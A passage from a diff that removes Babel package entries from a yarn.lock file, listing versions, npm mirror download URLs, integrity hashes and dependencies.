-  resolved "https://registry.nlark.com/@babel/helper-validator-identifier/download/@babel/helper-validator-identifier-7.14.0.tgz?cache=0&sync_timestamp=1619727412592&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelper-validator-identifier%2Fdownload%2F%40babel%2Fhelper-validator-identifier-7.14.0.tgz#d26cad8a47c65286b15df1547319a5d0bcf27288"
-  integrity sha1-0mytikfGUoaxXfFUcxml0Lzycog=
-
-"@babel/helper-validator-option@^7.12.17":
-  version "7.12.17"
-  resolved "https://registry.npm.taobao.org/@babel/helper-validator-option/download/@babel/helper-validator-option-7.12.17.tgz#d1fbf012e1a79b7eebbfdc6d270baaf8d9eb9831"
-  integrity sha1-0fvwEuGnm37rv9xtJwuq+NnrmDE=
-
-"@babel/helper-wrap-function@^7.13.0":
-  version "7.13.0"
-  resolved "https://registry.npm.taobao.org/@babel/helper-wrap-function/download/@babel/helper-wrap-function-7.13.0.tgz?cache=0&sync_timestamp=1614034233760&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fhelper-wrap-function%2Fdownload%2F%40babel%2Fhelper-wrap-function-7.13.0.tgz#bdb5c66fda8526ec235ab894ad53a1235c79fcc4"
-  integrity sha1-vbXGb9qFJuwjWriUrVOhI1x5/MQ=
-  dependencies:
-    "@babel/helper-function-name" "^7.12.13"
-    "@babel/template" "^7.12.13"
-    "@babel/traverse" "^7.13.0"
-    "@babel/types" "^7.13.0"
-
-"@babel/helpers@^7.14.0", "@babel/helpers@^7.9.0":
-  version "7.14.0"
-  resolved "https://registry.nlark.com/@babel/helpers/download/@babel/helpers-7.14.0.tgz?cache=0&sync_timestamp=1619727432208&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhelpers%2Fdownload%2F%40babel%2Fhelpers-7.14.0.tgz#ea9b6be9478a13d6f961dbb5f36bf75e2f3b8f62"
-  integrity sha1-6ptr6UeKE9b5Ydu182v3Xi87j2I=
-  dependencies:
-    "@babel/template" "^7.12.13"
-    "@babel/traverse" "^7.14.0"
-    "@babel/types" "^7.14.0"
-
-"@babel/highlight@^7.12.13", "@babel/highlight@^7.8.3":
-  version "7.14.0"
-  resolved "https://registry.nlark.com/@babel/highlight/download/@babel/highlight-7.14.0.tgz?cache=0&sync_timestamp=1619727182056&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fhighlight%2Fdownload%2F%40babel%2Fhighlight-7.14.0.tgz#3197e375711ef6bf834e67d0daec88e4f46113cf"
-  integrity sha1-MZfjdXEe9r+DTmfQ2uyI5PRhE88=
-  dependencies:
-    "@babel/helper-validator-identifier" "^7.14.0"
-    chalk "^2.0.0"
-    js-tokens "^4.0.0"
-
-"@babel/parser@^7.1.0", "@babel/parser@^7.12.13", "@babel/parser@^7.14.2", "@babel/parser@^7.14.3", "@babel/parser@^7.4.3", "@babel/parser@^7.7.0", "@babel/parser@^7.9.0":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/parser/download/@babel/parser-7.14.4.tgz#a5c560d6db6cd8e6ed342368dea8039232cbab18"
-  integrity sha1-pcVg1tts2ObtNCNo3qgDkjLLqxg=
-
-"@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@^7.13.12":
-  version "7.13.12"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/download/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.13.12.tgz#a3484d84d0b549f3fc916b99ee4783f26fabad2a"
-  integrity sha1-o0hNhNC1SfP8kWuZ7keD8m+rrSo=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/helper-skip-transparent-expression-wrappers" "^7.12.1"
-    "@babel/plugin-proposal-optional-chaining" "^7.13.12"
-
-"@babel/plugin-proposal-async-generator-functions@^7.14.2", "@babel/plugin-proposal-async-generator-functions@^7.8.3":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-async-generator-functions/download/@babel/plugin-proposal-async-generator-functions-7.14.2.tgz?cache=0&sync_timestamp=1620839417583&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-async-generator-functions%2Fdownload%2F%40babel%2Fplugin-proposal-async-generator-functions-7.14.2.tgz#3a2085abbf5d5f962d480dbc81347385ed62eb1e"
-  integrity sha1-OiCFq79dX5YtSA28gTRzhe1i6x4=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/helper-remap-async-to-generator" "^7.13.0"
-    "@babel/plugin-syntax-async-generators" "^7.8.4"
-
-"@babel/plugin-proposal-class-properties@7.8.3":
-  version "7.8.3"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-proposal-class-properties/download/@babel/plugin-proposal-class-properties-7.8.3.tgz?cache=0&sync_timestamp=1614035098704&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-proposal-class-properties%2Fdownload%2F%40babel%2Fplugin-proposal-class-properties-7.8.3.tgz#5e06654af5cd04b608915aada9b2a6788004464e"
-  integrity sha1-XgZlSvXNBLYIkVqtqbKmeIAERk4=
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.8.3"
-    "@babel/helper-plugin-utils" "^7.8.3"
-
-"@babel/plugin-proposal-class-properties@^7.13.0":
-  version "7.13.0"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-proposal-class-properties/download/@babel/plugin-proposal-class-properties-7.13.0.tgz?cache=0&sync_timestamp=1614035098704&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-proposal-class-properties%2Fdownload%2F%40babel%2Fplugin-proposal-class-properties-7.13.0.tgz#146376000b94efd001e57a40a88a525afaab9f37"
-  integrity sha1-FGN2AAuU79AB5XpAqIpSWvqrnzc=
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.13.0"
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-proposal-class-static-block@^7.14.3":
-  version "7.14.3"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-class-static-block/download/@babel/plugin-proposal-class-static-block-7.14.3.tgz#5a527e2cae4a4753119c3a3e7f64ecae8ccf1360"
-  integrity sha1-WlJ+LK5KR1MRnDo+f2TsrozPE2A=
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.14.3"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-class-static-block" "^7.12.13"
-
-"@babel/plugin-proposal-decorators@7.8.3":
-  version "7.8.3"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-decorators/download/@babel/plugin-proposal-decorators-7.8.3.tgz?cache=0&sync_timestamp=1620839996248&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-decorators%2Fdownload%2F%40babel%2Fplugin-proposal-decorators-7.8.3.tgz#2156860ab65c5abf068c3f67042184041066543e"
-  integrity sha1-IVaGCrZcWr8GjD9nBCGEBBBmVD4=
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.8.3"
-    "@babel/helper-plugin-utils" "^7.8.3"
-    "@babel/plugin-syntax-decorators" "^7.8.3"
-
-"@babel/plugin-proposal-dynamic-import@^7.14.2", "@babel/plugin-proposal-dynamic-import@^7.8.3":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-dynamic-import/download/@babel/plugin-proposal-dynamic-import-7.14.2.tgz#01ebabd7c381cff231fa43e302939a9de5be9d9f"
-  integrity sha1-Aeur18OBz/Ix+kPjApOaneW+nZ8=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-dynamic-import" "^7.8.3"
-
-"@babel/plugin-proposal-export-namespace-from@^7.14.2":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-export-namespace-from/download/@babel/plugin-proposal-export-namespace-from-7.14.2.tgz#62542f94aa9ce8f6dba79eec698af22112253791"
-  integrity sha1-YlQvlKqc6Pbbp57saYryIRIlN5E=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-export-namespace-from" "^7.8.3"
-
-"@babel/plugin-proposal-json-strings@^7.14.2", "@babel/plugin-proposal-json-strings@^7.8.3":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-json-strings/download/@babel/plugin-proposal-json-strings-7.14.2.tgz?cache=0&sync_timestamp=1620840046817&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-json-strings%2Fdownload%2F%40babel%2Fplugin-proposal-json-strings-7.14.2.tgz#830b4e2426a782e8b2878fbfe2cba85b70cbf98c"
-  integrity sha1-gwtOJCanguiyh4+/4suoW3DL+Yw=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-json-strings" "^7.8.3"
-
-"@babel/plugin-proposal-logical-assignment-operators@^7.14.2":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-logical-assignment-operators/download/@babel/plugin-proposal-logical-assignment-operators-7.14.2.tgz#222348c080a1678e0e74ea63fe76f275882d1fd7"
-  integrity sha1-IiNIwIChZ44OdOpj/nbydYgtH9c=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4"
-
-"@babel/plugin-proposal-nullish-coalescing-operator@7.8.3":
-  version "7.8.3"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-nullish-coalescing-operator/download/@babel/plugin-proposal-nullish-coalescing-operator-7.8.3.tgz#e4572253fdeed65cddeecfdab3f928afeb2fd5d2"
-  integrity sha1-5FciU/3u1lzd7s/as/kor+sv1dI=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.3"
-    "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.0"
-
-"@babel/plugin-proposal-nullish-coalescing-operator@^7.14.2", "@babel/plugin-proposal-nullish-coalescing-operator@^7.8.3":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-nullish-coalescing-operator/download/@babel/plugin-proposal-nullish-coalescing-operator-7.14.2.tgz#425b11dc62fc26939a2ab42cbba680bdf5734546"
-  integrity sha1-QlsR3GL8JpOaKrQsu6aAvfVzRUY=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3"
-
-"@babel/plugin-proposal-numeric-separator@7.8.3":
-  version "7.8.3"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-numeric-separator/download/@babel/plugin-proposal-numeric-separator-7.8.3.tgz?cache=0&sync_timestamp=1620839422175&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-numeric-separator%2Fdownload%2F%40babel%2Fplugin-proposal-numeric-separator-7.8.3.tgz#5d6769409699ec9b3b68684cd8116cedff93bad8"
-  integrity sha1-XWdpQJaZ7Js7aGhM2BFs7f+Tutg=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.3"
-    "@babel/plugin-syntax-numeric-separator" "^7.8.3"
-
-"@babel/plugin-proposal-numeric-separator@^7.14.2", "@babel/plugin-proposal-numeric-separator@^7.8.3":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-numeric-separator/download/@babel/plugin-proposal-numeric-separator-7.14.2.tgz?cache=0&sync_timestamp=1620839422175&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-numeric-separator%2Fdownload%2F%40babel%2Fplugin-proposal-numeric-separator-7.14.2.tgz#82b4cc06571143faf50626104b335dd71baa4f9e"
-  integrity sha1-grTMBlcRQ/r1BiYQSzNd1xuqT54=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-numeric-separator" "^7.10.4"
-
-"@babel/plugin-proposal-object-rest-spread@^7.14.4", "@babel/plugin-proposal-object-rest-spread@^7.9.0":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-object-rest-spread/download/@babel/plugin-proposal-object-rest-spread-7.14.4.tgz?cache=0&sync_timestamp=1622221269189&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-object-rest-spread%2Fdownload%2F%40babel%2Fplugin-proposal-object-rest-spread-7.14.4.tgz#0e2b4de419915dc0b409378e829412e2031777c4"
-  integrity sha1-DitN5BmRXcC0CTeOgpQS4gMXd8Q=
-  dependencies:
-    "@babel/compat-data" "^7.14.4"
-    "@babel/helper-compilation-targets" "^7.14.4"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-object-rest-spread" "^7.8.3"
-    "@babel/plugin-transform-parameters" "^7.14.2"
-
-"@babel/plugin-proposal-optional-catch-binding@^7.14.2", "@babel/plugin-proposal-optional-catch-binding@^7.8.3":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-optional-catch-binding/download/@babel/plugin-proposal-optional-catch-binding-7.14.2.tgz#150d4e58e525b16a9a1431bd5326c4eed870d717"
-  integrity sha1-FQ1OWOUlsWqaFDG9UybE7thw1xc=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-optional-catch-binding" "^7.8.3"
-
-"@babel/plugin-proposal-optional-chaining@7.9.0":
-  version "7.9.0"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-optional-chaining/download/@babel/plugin-proposal-optional-chaining-7.9.0.tgz?cache=0&sync_timestamp=1620839998724&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-optional-chaining%2Fdownload%2F%40babel%2Fplugin-proposal-optional-chaining-7.9.0.tgz#31db16b154c39d6b8a645292472b98394c292a58"
-  integrity sha1-MdsWsVTDnWuKZFKSRyuYOUwpKlg=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.3"
-    "@babel/plugin-syntax-optional-chaining" "^7.8.0"
-
-"@babel/plugin-proposal-optional-chaining@^7.13.12", "@babel/plugin-proposal-optional-chaining@^7.14.2", "@babel/plugin-proposal-optional-chaining@^7.9.0":
-  version "7.14.2"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-optional-chaining/download/@babel/plugin-proposal-optional-chaining-7.14.2.tgz?cache=0&sync_timestamp=1620839998724&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-optional-chaining%2Fdownload%2F%40babel%2Fplugin-proposal-optional-chaining-7.14.2.tgz#df8171a8b9c43ebf4c1dabe6311b432d83e1b34e"
-  integrity sha1-34FxqLnEPr9MHavmMRtDLYPhs04=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/helper-skip-transparent-expression-wrappers" "^7.12.1"
-    "@babel/plugin-syntax-optional-chaining" "^7.8.3"
-
-"@babel/plugin-proposal-private-methods@^7.13.0":
-  version "7.13.0"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-proposal-private-methods/download/@babel/plugin-proposal-private-methods-7.13.0.tgz?cache=0&sync_timestamp=1614035100398&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-proposal-private-methods%2Fdownload%2F%40babel%2Fplugin-proposal-private-methods-7.13.0.tgz#04bd4c6d40f6e6bbfa2f57e2d8094bad900ef787"
-  integrity sha1-BL1MbUD25rv6L1fi2AlLrZAO94c=
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.13.0"
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-proposal-private-property-in-object@^7.14.0":
-  version "7.14.0"
-  resolved "https://registry.nlark.com/@babel/plugin-proposal-private-property-in-object/download/@babel/plugin-proposal-private-property-in-object-7.14.0.tgz?cache=0&sync_timestamp=1619727655656&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-proposal-private-property-in-object%2Fdownload%2F%40babel%2Fplugin-proposal-private-property-in-object-7.14.0.tgz#b1a1f2030586b9d3489cc26179d2eb5883277636"
-  integrity sha1-saHyAwWGudNInMJhedLrWIMndjY=
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.12.13"
-    "@babel/helper-create-class-features-plugin" "^7.14.0"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/plugin-syntax-private-property-in-object" "^7.14.0"
-
-"@babel/plugin-proposal-unicode-property-regex@^7.12.13", "@babel/plugin-proposal-unicode-property-regex@^7.4.4", "@babel/plugin-proposal-unicode-property-regex@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-proposal-unicode-property-regex/download/@babel/plugin-proposal-unicode-property-regex-7.12.13.tgz#bebde51339be829c17aaaaced18641deb62b39ba"
-  integrity sha1-vr3lEzm+gpwXqqrO0YZB3rYrObo=
-  dependencies:
-    "@babel/helper-create-regexp-features-plugin" "^7.12.13"
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-syntax-async-generators@^7.8.0", "@babel/plugin-syntax-async-generators@^7.8.4":
-  version "7.8.4"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-async-generators/download/@babel/plugin-syntax-async-generators-7.8.4.tgz#a983fb1aeb2ec3f6ed042a210f640e90e786fe0d"
-  integrity sha1-qYP7Gusuw/btBCohD2QOkOeG/g0=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-class-properties@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-class-properties/download/@babel/plugin-syntax-class-properties-7.12.13.tgz#b5c987274c4a3a82b89714796931a6b53544ae10"
-  integrity sha1-tcmHJ0xKOoK4lxR5aTGmtTVErhA=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-syntax-class-static-block@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.nlark.com/@babel/plugin-syntax-class-static-block/download/@babel/plugin-syntax-class-static-block-7.12.13.tgz?cache=0&sync_timestamp=1619727671263&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-syntax-class-static-block%2Fdownload%2F%40babel%2Fplugin-syntax-class-static-block-7.12.13.tgz#8e3d674b0613e67975ceac2776c97b60cafc5c9c"
-  integrity sha1-jj1nSwYT5nl1zqwndsl7YMr8XJw=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-syntax-decorators@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-decorators/download/@babel/plugin-syntax-decorators-7.12.13.tgz?cache=0&sync_timestamp=1612314725413&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-syntax-decorators%2Fdownload%2F%40babel%2Fplugin-syntax-decorators-7.12.13.tgz#fac829bf3c7ef4a1bc916257b403e58c6bdaf648"
-  integrity sha1-+sgpvzx+9KG8kWJXtAPljGva9kg=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-syntax-dynamic-import@^7.8.0", "@babel/plugin-syntax-dynamic-import@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-dynamic-import/download/@babel/plugin-syntax-dynamic-import-7.8.3.tgz#62bf98b2da3cd21d626154fc96ee5b3cb68eacb3"
-  integrity sha1-Yr+Ysto80h1iYVT8lu5bPLaOrLM=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-export-namespace-from@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-export-namespace-from/download/@babel/plugin-syntax-export-namespace-from-7.8.3.tgz#028964a9ba80dbc094c915c487ad7c4e7a66465a"
-  integrity sha1-AolkqbqA28CUyRXEh618TnpmRlo=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.3"
-
-"@babel/plugin-syntax-flow@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-flow/download/@babel/plugin-syntax-flow-7.12.13.tgz#5df9962503c0a9c918381c929d51d4d6949e7e86"
-  integrity sha1-XfmWJQPAqckYOBySnVHU1pSefoY=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-syntax-json-strings@^7.8.0", "@babel/plugin-syntax-json-strings@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-json-strings/download/@babel/plugin-syntax-json-strings-7.8.3.tgz#01ca21b668cd8218c9e640cb6dd88c5412b2c96a"
-  integrity sha1-AcohtmjNghjJ5kDLbdiMVBKyyWo=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-jsx@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-jsx/download/@babel/plugin-syntax-jsx-7.12.13.tgz#044fb81ebad6698fe62c478875575bcbb9b70f15"
-  integrity sha1-BE+4HrrWaY/mLEeIdVdby7m3DxU=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-syntax-logical-assignment-operators@^7.10.4":
-  version "7.10.4"
-  resolved "https://registry.nlark.com/@babel/plugin-syntax-logical-assignment-operators/download/@babel/plugin-syntax-logical-assignment-operators-7.10.4.tgz#ca91ef46303530448b906652bac2e9fe9941f699"
-  integrity sha1-ypHvRjA1MESLkGZSusLp/plB9pk=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.10.4"
-
-"@babel/plugin-syntax-nullish-coalescing-operator@^7.8.0", "@babel/plugin-syntax-nullish-coalescing-operator@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.nlark.com/@babel/plugin-syntax-nullish-coalescing-operator/download/@babel/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz#167ed70368886081f74b5c36c65a88c03b66d1a9"
-  integrity sha1-Fn7XA2iIYIH3S1w2xlqIwDtm0ak=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-numeric-separator@^7.10.4", "@babel/plugin-syntax-numeric-separator@^7.8.0", "@babel/plugin-syntax-numeric-separator@^7.8.3":
-  version "7.10.4"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-numeric-separator/download/@babel/plugin-syntax-numeric-separator-7.10.4.tgz#b9b070b3e33570cd9fd07ba7fa91c0dd37b9af97"
-  integrity sha1-ubBws+M1cM2f0Hun+pHA3Te5r5c=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.10.4"
-
-"@babel/plugin-syntax-object-rest-spread@^7.0.0", "@babel/plugin-syntax-object-rest-spread@^7.8.0", "@babel/plugin-syntax-object-rest-spread@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-object-rest-spread/download/@babel/plugin-syntax-object-rest-spread-7.8.3.tgz#60e225edcbd98a640332a2e72dd3e66f1af55871"
-  integrity sha1-YOIl7cvZimQDMqLnLdPmbxr1WHE=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-optional-catch-binding@^7.8.0", "@babel/plugin-syntax-optional-catch-binding@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-optional-catch-binding/download/@babel/plugin-syntax-optional-catch-binding-7.8.3.tgz#6111a265bcfb020eb9efd0fdfd7d26402b9ed6c1"
-  integrity sha1-YRGiZbz7Ag6579D9/X0mQCue1sE=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-optional-chaining@^7.8.0", "@babel/plugin-syntax-optional-chaining@^7.8.3":
-  version "7.8.3"
-  resolved "https://registry.nlark.com/@babel/plugin-syntax-optional-chaining/download/@babel/plugin-syntax-optional-chaining-7.8.3.tgz#4f69c2ab95167e0180cd5336613f8c5788f7d48a"
-  integrity sha1-T2nCq5UWfgGAzVM2YT+MV4j31Io=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.0"
-
-"@babel/plugin-syntax-private-property-in-object@^7.14.0":
-  version "7.14.0"
-  resolved "https://registry.nlark.com/@babel/plugin-syntax-private-property-in-object/download/@babel/plugin-syntax-private-property-in-object-7.14.0.tgz#762a4babec61176fec6c88480dec40372b140c0b"
-  integrity sha1-dipLq+xhF2/sbIhIDexANysUDAs=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-syntax-top-level-await@^7.12.13", "@babel/plugin-syntax-top-level-await@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-syntax-top-level-await/download/@babel/plugin-syntax-top-level-await-7.12.13.tgz#c5f0fa6e249f5b739727f923540cf7a806130178"
-  integrity sha1-xfD6biSfW3OXJ/kjVAz3qAYTAXg=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-syntax-typescript@^7.12.13":
-  version "7.12.13"
-  resolved "https://registry.nlark.com/@babel/plugin-syntax-typescript/download/@babel/plugin-syntax-typescript-7.12.13.tgz#9dff111ca64154cef0f4dc52cf843d9f12ce4474"
-  integrity sha1-nf8RHKZBVM7w9NxSz4Q9nxLORHQ=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-arrow-functions@^7.13.0", "@babel/plugin-transform-arrow-functions@^7.8.3":
-  version "7.13.0"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-arrow-functions/download/@babel/plugin-transform-arrow-functions-7.13.0.tgz#10a59bebad52d637a027afa692e8d5ceff5e3dae"
-  integrity sha1-EKWb661S1jegJ6+mkujVzv9ePa4=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-async-to-generator@^7.13.0", "@babel/plugin-transform-async-to-generator@^7.8.3":
-  version "7.13.0"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-async-to-generator/download/@babel/plugin-transform-async-to-generator-7.13.0.tgz#8e112bf6771b82bf1e974e5e26806c5c99aa516f"
-  integrity sha1-jhEr9ncbgr8el05eJoBsXJmqUW8=
-  dependencies:
-    "@babel/helper-module-imports" "^7.12.13"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/helper-remap-async-to-generator" "^7.13.0"
-
-"@babel/plugin-transform-block-scoped-functions@^7.12.13", "@babel/plugin-transform-block-scoped-functions@^7.8.3":
-  version "7.12.13"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-block-scoped-functions/download/@babel/plugin-transform-block-scoped-functions-7.12.13.tgz#a9bf1836f2a39b4eb6cf09967739de29ea4bf4c4"
-  integrity sha1-qb8YNvKjm062zwmWdzneKepL9MQ=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.12.13"
-
-"@babel/plugin-transform-block-scoping@^7.14.4", "@babel/plugin-transform-block-scoping@^7.8.3":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-block-scoping/download/@babel/plugin-transform-block-scoping-7.14.4.tgz#caf140b0b2e2462c509553d140e6d0abefb61ed8"
-  integrity sha1-yvFAsLLiRixQlVPRQObQq++2Htg=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-classes@^7.14.4", "@babel/plugin-transform-classes@^7.9.0":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-classes/download/@babel/plugin-transform-classes-7.14.4.tgz?cache=0&sync_timestamp=1622222670912&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fplugin-transform-classes%2Fdownload%2F%40babel%2Fplugin-transform-classes-7.14.4.tgz#a83c15503fc71a0f99e876fdce7dadbc6575ec3a"
-  integrity sha1-qDwVUD/HGg+Z6Hb9zn2tvGV17Do=
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.12.13"
-    "@babel/helper-function-name" "^7.14.2"
-    "@babel/helper-optimise-call-expression" "^7.12.13"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/helper-replace-supers" "^7.14.4"
-    "@babel/helper-split-export-declaration" "^7.12.13"
-    globals "^11.1.0"
-
-"@babel/plugin-transform-computed-properties@^7.13.0", "@babel/plugin-transform-computed-properties@^7.8.3":
-  version "7.13.0"
-  resolved "https://registry.npm.taobao.org/@babel/plugin-transform-computed-properties/download/@babel/plugin-transform-computed-properties-7.13.0.tgz?cache=0&sync_timestamp=1614034212505&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40babel%2Fplugin-transform-computed-properties%2Fdownload%2F%40babel%2Fplugin-transform-computed-properties-7.13.0.tgz#845c6e8b9bb55376b1fa0b92ef0bdc8ea06644ed"
-  integrity sha1-hFxui5u1U3ax+guS7wvcjqBmRO0=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-destructuring@^7.14.4", "@babel/plugin-transform-destructuring@^7.8.3":
-  version "7.14.4"
-  resolved "https://registry.nlark.com/@babel/plugin-transform-destructuring/download/@babel/plugin-transform-destructuring-7.14.4.tgz#acbec502e9951f30f4441eaca1d2f29efade59ed"
-  integrity sha1-rL7FAumVHzD0RB6sodLynvreWe0=
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.13.0"
-
-"@babel/plugin-transform-dotall-regex@^7.12.13", "@babel/plugin-transform-dotall-regex@^7.4.4", "@babel/plugin-transform-dotall-regex@^7.8.3":
-  version "7.12.13"
